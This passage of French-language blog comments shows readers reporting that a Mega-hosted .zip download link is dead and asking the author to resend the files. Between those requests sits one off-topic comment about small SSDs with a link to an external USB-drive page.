    Je viens d'entrer dans votre article de blog et je suis vraiment intéressé. Ce qui se passe, c'est que lorsque vous donnez le fichier .zip qui vous redirige vers méga, cela signifie que le fichier n'est plus disponible.
    Je me demandais si vous pouviez m'envoyer ces fichiers qui sont censés être téléchargés.
    Merci beaucoup et salutations!

  46.   Alfredo Pereira dit

    La technologie a pour habitude de diminuer en taille au fil des années. Et cela s'est produit à un degré incroyable avec les disques SSD (Solid State Drive). Vous pouvez désormais les obtenir dans la même taille que les clés USB les plus rapides.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a dit

    Pouvez-vous m'envoyer le fichier ou le télécharger à nouveau ? Il sort qui ne peut pas être téléchargé